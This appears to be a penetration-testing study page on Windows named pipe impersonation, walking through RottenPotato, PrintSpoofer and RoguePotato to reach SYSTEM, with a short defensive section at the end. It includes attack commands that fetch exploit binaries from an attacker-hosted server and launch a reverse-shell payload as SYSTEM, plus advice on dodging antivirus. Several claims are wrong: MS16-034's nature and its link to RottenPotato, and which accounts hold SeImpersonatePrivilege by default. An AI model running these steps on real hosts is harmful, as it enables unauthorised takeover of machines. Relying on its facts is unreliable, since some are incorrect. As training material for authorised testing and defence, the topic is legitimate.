Domain 4PrivEsc & Password AttacksCORE

Named Pipe Impersonation

Deep dive into Named Pipe impersonation attacks including RottenPotato and PrintSpoofer for escalating to SYSTEM via token manipulation.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#named-pipes#impersonation#printspoofer#rottenpotato#token-abuse

Named Pipe Impersonation

Overview

Named Pipe impersonation attacks represent one of the most reliable and universal privilege escalation techniques on Windows. At their core, these attacks exploit a fundamental design feature of Windows: when a privileged service (running as SYSTEM) interacts with a client over a Named Pipe or ALPC (Advanced Local Procedure Call) channel, it creates an impersonation token that reflects the client’s identity. By tricking a SYSTEM-level service into creating such a token and then manipulating it, an attacker can escalate from a standard user to SYSTEM.

This family of attacks has evolved over the years — from RottenPotato (2016) to PrintSpoofer (2020) — but the underlying principle remains the same. PrintSpoofer is the most important tool for modern OSCP exams because it works on all currently supported Windows versions and requires only SeImpersonatePrivilege, which is granted to non-administrative users by default.


How Named Pipes Work in Windows

What Are Named Pipes?

Named Pipes are a form of inter-process communication (IPC) in Windows that allow processes to communicate by reading from and writing to a pipe with a name. Unlike anonymous pipes (which work only between parent and child processes), Named Pipes can be used by any process on the system (or even across a network).

Process A (Client)  ←→  Named Pipe  ←→  Process B (Server)
   (Your process)                          (SYSTEM service)

Why Named Pipes Create Impersonation Tokens

When a server process accepts a connection from a client over a Named Pipe, Windows can optionally create an impersonation token for the server thread. This token represents the client’s security identity and allows the server to:

  1. Check if the client has permission to perform an operation
  2. Log which client performed an action
  3. Perform operations on behalf of the client

The impersonation level determines what the server can do with this token:

Impersonation Level Description Attack Relevance
SecurityAnonymous Server cannot identify client Not useful
SecurityIdentification Server can query client identity Not useful
SecurityImpersonation Server can impersonate client Exploitable
SecurityDelegation Server can impersonate client remotely Most exploitable

The Attack Chain

sequenceDiagram
    participant A as Attacker Process<br/>(Standard User)
    participant P as Named Pipe<br/>Server
    participant S as SYSTEM Service
    participant T as Token System

    A->>P: Create Named Pipe
    A->>P: Listen for connections
    S->>P: Connect to Named Pipe<br/>(as SYSTEM service)
    P->>T: Windows creates Impersonation Token<br/>(reflects SYSTEM identity)
    T-->>P: Return Token Handle
    A->>T: Duplicate the impersonation token<br/>(convert to primary token)
    T-->>A: Primary Token with SYSTEM privileges
    A->>A: Create new process with SYSTEM token
    A-->>A: SYSTEM shell obtained

The key insight: The impersonation token is created with the server’s (SYSTEM service’s) privileges, not the client’s. By duplicating this token and converting it to a primary token, the attacker gains a SYSTEM-level token.


11.1 RottenPotato and MS16-034

The MS16-034 Vulnerability

MS16-034 was a critical elevation of privilege vulnerability disclosed by Microsoft in April 2016. It affected the way Windows handled token impersonation in the context of COM (Component Object Model) and Named Pipes.

Affected systems:

  • Windows 7 (all versions)
  • Windows Server 2008 R2
  • Windows 8.1
  • Windows Server 2012 / 2012 R2
  • Windows 10 (early builds, before patch)

The vulnerability: An attacker with SeImpersonatePrivilege could abuse the way Windows created and handled impersonation tokens in certain COM-related Named Pipe operations, allowing them to obtain a SYSTEM-level primary token.

How RottenPotatoNG Works

RottenPotatoNG (by borja) is an improved version of the original RottenPotato exploit. It combines the MS16-034 vulnerability with a HTTP listener technique:

1. Create a Named Pipe
2. Register a fake HTTP server via HTTP.SYS
3. Trigger a connection from a SYSTEM-level service
4. Capture the impersonation token
5. Duplicate and convert to primary token
6. Execute command as SYSTEM

Usage

# Download from: https://github.com/breenmachine/RottenPotatoNG

# Basic usage - gets a SYSTEM shell
.\RottenPotatoNG.exe -p 4444

# With custom command
.\RottenPotatoNG.exe -c "C:\path\to\payload.exe"

# With custom port
.\RottenPotatoNG.exe -p 1337

Limitations

Limitation Details
Requires MS16-034 Does NOT work on patched systems
Older Windows only Not effective on Windows 10 1809+ or Windows 11
Superseded PrintSpoofer and RoguePotato are more reliable
Complex setup Requires HTTP.SYS registration, more moving parts

When It Still Applies

RottenPotatoNG may still work on:

  • Unpatched Windows 7 / Server 2008 R2 systems
  • Air-gapped systems that never received MS16-034
  • Some OSCP legacy boxes (rare)

For OSCP in 2024-2026: Focus on PrintSpoofer instead. RottenPotato is included for historical understanding and legacy systems.


11.2 PrintSpoofer — THE Go-To Tool for Modern OSCP

The Print Spooler service (Spooler) is a Windows service that manages printing operations. It runs as LocalSystem (SYSTEM) and is enabled by default on most Windows installations.

# Check if Print Spooler is running
sc query Spooler

# Check the service configuration
sc qc Spooler

# Check service account
Get-Service -Name Spooler | Select-Object Name, Status, StartType, ServiceType

Typical output:

SERVICE_NAME: Spooler
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

The RpcRemoteFindFirstPrinterChangeNotificationEx API

PrintSpoofer abuses a specific RPC API: RpcRemoteFindFirstPrinterChangeNotificationEx. This API is part of the Print Spooler’s RPC interface and is designed to:

  1. Allow a client to register for notifications about printer changes
  2. The spooler service creates an impersonation token for the calling client
  3. The token is associated with a Named Pipe or ALPC channel

The abuse: PrintSpoofer calls this API, causing the spooler (running as SYSTEM) to create an impersonation token. PrintSpoofer then captures this token, duplicates it, and uses it to create a new process as SYSTEM.

Why the Impersonation Token Has SYSTEM Privileges

This is the critical insight:

  1. The Print Spooler service runs as SYSTEM
  2. When a client connects via the spooler’s RPC interface, the spooler creates an impersonation token
  3. This token is created in the context of the spooler process (SYSTEM)
  4. The token’s privilege set includes the spooler’s privileges (SYSTEM-level)
  5. The attacker duplicates this token and converts it to a primary token
  6. The primary token retains the SYSTEM-level privileges
graph TD
    A[Print Spooler Service] -->|Runs as| B[SYSTEM / S-1-5-18]
    B --> C[Has SYSTEM-level privileges]
    C --> D[Creates impersonation tokens for clients]
    D --> E[Token inherits SYSTEM privilege set]
    E --> F[Attacker captures token via Named Pipe/ALPC]
    F --> G[DuplicateTokenEx converts to primary token]
    G --> H[CreateProcessAsUser spawns SYSTEM process]

Full Exploitation Walkthrough

Prerequisites

# Step 0: Verify you have SeImpersonatePrivilege
whoami /priv

# Look for:
# PRIVILEGE INFORMATION
#
# Privilege Name                Description                    State
# ========================      ==========================       ========
# SeImpersonatePrivilege        Impersonate a client after authentication  Enabled

If SeImpersonatePrivilege is Enabled, you can proceed. This privilege is granted by default to:

  • Interactive users
  • Service accounts
  • IIS application pool identities
  • Most non-administrative accounts

Step 1: Verify Print Spooler is Running

# Check service status
sc query Spooler

# If RUNNING, proceed
# If STOPPED, try to start it:
net start Spooler

# If you can't start it, PrintSpoofer won't work — try alternative methods

Step 2: Download PrintSpoofer

# Download from: https://github.com/itm4n/PrintSpoofer
# Pre-compiled binaries available:
# - PrintSpoofer.exe (32-bit)
# - PrintSpoofer64.exe (64-bit)

# Upload to target via HTTP:
# On attacker: python3 -m http.server 80
# On target:
Invoke-WebRequest -Uri "http://10.10.14.5/PrintSpoofer64.exe" -OutFile "C:\Users\jdoe\AppData\Local\Temp\PrintSpoofer64.exe"

Step 3: Execute PrintSpoofer

Option A: Named Pipe technique (default, use -i)

# Get an interactive SYSTEM cmd shell
.\PrintSpoofer64.exe -c "cmd.exe"

# With explicit Named Pipe technique
.\PrintSpoofer64.exe -i -c "cmd.exe"

# Get a SYSTEM PowerShell shell
.\PrintSpoofer64.exe -c "powershell.exe"

# Execute a specific payload
.\PrintSpoofer64.exe -c "C:\Users\jdoe\AppData\Local\Temp\reverse_shell.exe"

Option B: ALPC technique (use -t)

# Use ALPC instead of Named Pipe
.\PrintSpoofer64.exe -t -c "cmd.exe"

# ALPC technique is useful when Named Pipe technique fails
# (rare, but can happen on some configurations)

Step 4: Verify SYSTEM Access

# After execution, you should have a SYSTEM shell
whoami
# Expected output: nt authority\system

# Verify privileges
whoami /priv
# Should show extensive SYSTEM privileges

Parameter Reference

Parameter Description Example
-c Command to execute as SYSTEM -c "cmd.exe"
-i Use Named Pipe impersonation technique (default) -i -c "cmd.exe"
-t Use ALPC impersonation technique -t -c "cmd.exe"
-l Listen port for the Named Pipe -l 1337

Named Pipe vs ALPC Techniques

Aspect Named Pipe (-i) ALPC (-t)
Communication Named Pipe IPC Advanced Local Procedure Call
Reliability Works on all versions Works on all versions
When to use Default, try first Fallback if -i fails
Under the hood Uses CreateNamedPipe + ConnectNamedPipe Uses AlpcCreatePort + AlpcConnectPort
Spooler interaction Connects via spooler’s Named Pipe interface Connects via spooler’s ALPC interface

Why PrintSpoofer Works on ALL Modern Windows Versions

PrintSpoofer exploits a design feature, not a bug:

  1. The Print Spooler’s RPC interface is intentionally designed to create impersonation tokens
  2. This is by design — it allows the spooler to operate on behalf of clients
  3. Microsoft cannot patch this out without breaking the printing functionality entirely
  4. The only mitigation is to disable the Print Spooler service

This is why PrintSpoofer works on:

  • Windows 7
  • Windows 8 / 8.1
  • Windows 10 (all versions, including 22H2)
  • Windows 11 (all versions)
  • Windows Server 2008 R2 through 2022

What to Do If Print Spooler is Disabled

If the Print Spooler service is disabled or stopped and you can’t start it:

# 1. Try to start it
net start Spooler

# 2. If access denied, check if you can change the startup type
sc config Spooler start= demand

# 3. If still can't start, use alternative techniques:
#    - RoguePotato (uses HTTP.SYS, no spooler needed)
#    - JuicyPotatoNG (uses COM, needs valid CLSID)
#    - SweetPotato (uses HTTP.SYS)

RoguePotato as Alternative

# Download from: https://github.com/antonioCoco/RoguePotato
# Works on ALL Windows versions, no spooler needed

.\RoguePotato.exe
# or with custom command:
.\RoguePotato.exe -c "C:\path\to\payload.exe"

Comparison: Potato Family Tools

graph TB
    subgraph Legacy["Legacy / Historical"]
        RP["RottenPotato<br/>MS16-034 required<br/>Win 7/8/2008-2012"]
        RPNG["RottenPotatoNG<br/>MS16-034 + HTTP.SYS<br/>Win 7/8/2008-2012"]
    end

    subgraph COM_Based["COM-Based (Need CLSID)"]
        JP["JuicyPotato<br/>Needs valid CLSID<br/>Win 7 - Win 10 1809"]
        JPNG["JuicyPotatoNG<br/>Improved CLSID handling<br/>Win 7 - Win 10 1809"]
    end

    subgraph Modern["Modern (No CLSID Needed)"]
        RSPO["RoguePotato<br/>HTTP.SYS + Named Pipe<br/>All Windows versions"]
        SP["SweetPotato<br/>HTTP.SYS<br/>Win 7 - Win 10"]
        PS["PrintSpoofer<br/>Print Spooler RPC<br/>All Windows versions<br/>⭐ BEST FOR OSCP"]
    end

    RP --> RPNG --> JP --> JPNG
    RPNG --> RSPO --> SP --> PS

Detailed Comparison Table

Tool Windows Support Requires CLSID Requires Spooler Requires HTTP.SYS Reliability OSCP Recommendation
RottenPotato Win 7-8.1, Server 2008-2012 No No No Low (patched) Historical only
RottenPotatoNG Win 7-8.1, Server 2008-2012 No No Yes Low (patched) Historical only
JuicyPotato Win 7 - Win 10 1809 Yes No No Medium Rarely needed
JuicyPotatoNG Win 7 - Win 10 1809 Yes No No Medium Rarely needed
RoguePotato All versions No No Yes High Good alternative
SweetPotato Win 7 - Win 10 No No Yes High Good alternative
PrintSpoofer All versions No Yes No Highest ⭐ PRIMARY CHOICE

Decision Tree

graph TD
    A[Have SeImpersonatePrivilege?] -->|No| B[Cannot use Potato attacks]
    A -->|Yes| C{Print Spooler Running?}

    C -->|Yes| D[Use PrintSpoofer ⭐]
    C -->|No| E{Can start Spooler?}

    E -->|Yes| F[net start Spooler]
    F --> D
    E -->|No| G{HTTP.SYS Available?}

    G -->|Yes| H[Use RoguePotato]
    G -->|No| I[Use JuicyPotatoNG<br/>with valid CLSID]

    D --> J[SYSTEM shell]
    H --> J
    I --> J

Named Pipe Impersonation Decision Tree

NAMED PIPE IMPERSONATION DECISION TREE
========================================

Step 1: Check for SeImpersonatePrivilege
  whoami /priv
  │
  ├── SeImpersonatePrivilege = Disabled
  │   └── Try: whoami /all to check all privileges
  │           If truly disabled, Potato attacks won't work
  │           → Move to other privesc vectors
  │
  └── SeImpersonatePrivilege = Enabled ✓
      │
      Step 2: Check Print Spooler status
      sc query Spooler
      │
      ├── RUNNING ✓
      │   └── → Use PrintSpoofer (PRIMARY CHOICE)
      │         .\PrintSpoofer64.exe -c "cmd.exe"
      │
      ├── STOPPED
      │   │
      │   Step 2a: Try to start it
      │   net start Spooler
      │   │
      │   ├── Success ✓ → Use PrintSpoofer
      │   └── Access Denied
      │       │
      │       Step 2b: Alternative tools
      │       ├── RoguePotato.exe (no spooler needed)
      │       └── SweetPotato.exe (no spooler needed)
      │
      └── SERVICE_NOT_FOUND
          └── → Spooler not installed
              ├── RoguePotato.exe
              └── SweetPotato.exe

OSCP Exam Tips

PrintSpoofer is Your Go-To for SeImpersonatePrivilege

Priority: CRITICAL — This is one of the most important techniques for the OSCP exam.

Key Exam Strategies

  1. Check whoami /priv early: Within your first few minutes, run whoami /priv. If you see SeImpersonatePrivilege as Enabled, immediately check if Print Spooler is running. This combination appears in many OSCP boxes.

  2. PrintSpoofer is your first choice: When you have SeImpersonatePrivilege and the Print Spooler is running, PrintSpoofer is the fastest, most reliable path to SYSTEM. No compilation needed, single binary, works on everything.

  3. Always carry PrintSpoofer64.exe: Include it in your standard Windows privesc toolkit alongside PowerUp, WinPEAS, and accesschk.

  4. Try both -i and -t: If the Named Pipe technique (-i) fails for some reason, try the ALPC technique (-t). Both work on all versions.

  5. If Spooler is stopped, try to start it: You might have permission to start the service even if you’re a standard user. net start Spooler is worth trying.

  6. RoguePotato as backup: If Print Spooler is truly unavailable, RoguePotato is your next best option. It works on all Windows versions and doesn’t need the spooler.

  7. Don’t waste time on JuicyPotato: It requires finding a valid CLSID, which is tedious and often unnecessary when PrintSpoofer works everywhere.

  8. SeImpersonatePrivilege is common: Service accounts, IIS app pool identities, and interactive users typically have this privilege. Check it on every Windows box.

Common Exam Scenarios

Scenario Privilege Spooler Tool Result
Service account shell SeImpersonatePrivilege Running PrintSpoofer SYSTEM
IIS app pool identity SeImpersonatePrivilege Running PrintSpoofer SYSTEM
Interactive user SeImpersonatePrivilege Stopped net start + PrintSpoofer SYSTEM
Interactive user SeImpersonatePrivilege Disabled RoguePotato SYSTEM
Admin (filtered token) SeImpersonatePrivilege Running PrintSpoofer SYSTEM

Common Pitfalls

  • Using the wrong architecture: Use PrintSpoofer64.exe on 64-bit systems and PrintSpoofer.exe on 32-bit systems. Check with echo $env:PROCESSOR_ARCHITECTURE.
  • Forgetting to check privilege state: SeImpersonatePrivilege must be Enabled, not Disabled. If disabled, check if it can be enabled.
  • Antivirus blocking the binary: Some boxes have AV that blocks unknown executables. Have multiple upload methods and payload variants ready.
  • Not verifying SYSTEM: After running PrintSpoofer, always run whoami to confirm you have SYSTEM. Sometimes the shell appears but isn’t actually SYSTEM.

Mitigation for Blue Team

  1. Disable Print Spooler (if printing is not needed):

    Set-Service -Name Spooler -StartupType Disabled
    Stop-Service -Name Spooler
  2. Remove SeImpersonatePrivilege from non-essential accounts:

    # Via Local Security Policy or Group Policy
    # Remove "Impersonate a client after authentication" from:
    # - Service accounts
    # - IIS application pool identities
    # - Standard user groups
  3. Apply all security patches: While PrintSpoofer exploits a design feature, related vulnerabilities (like MS16-034) should be patched.

  4. Monitor for suspicious process creation: Alert on processes spawning from unexpected parent processes with SYSTEM tokens.

  5. Implement application control: Use AppLocker or WDAC to restrict which binaries can execute.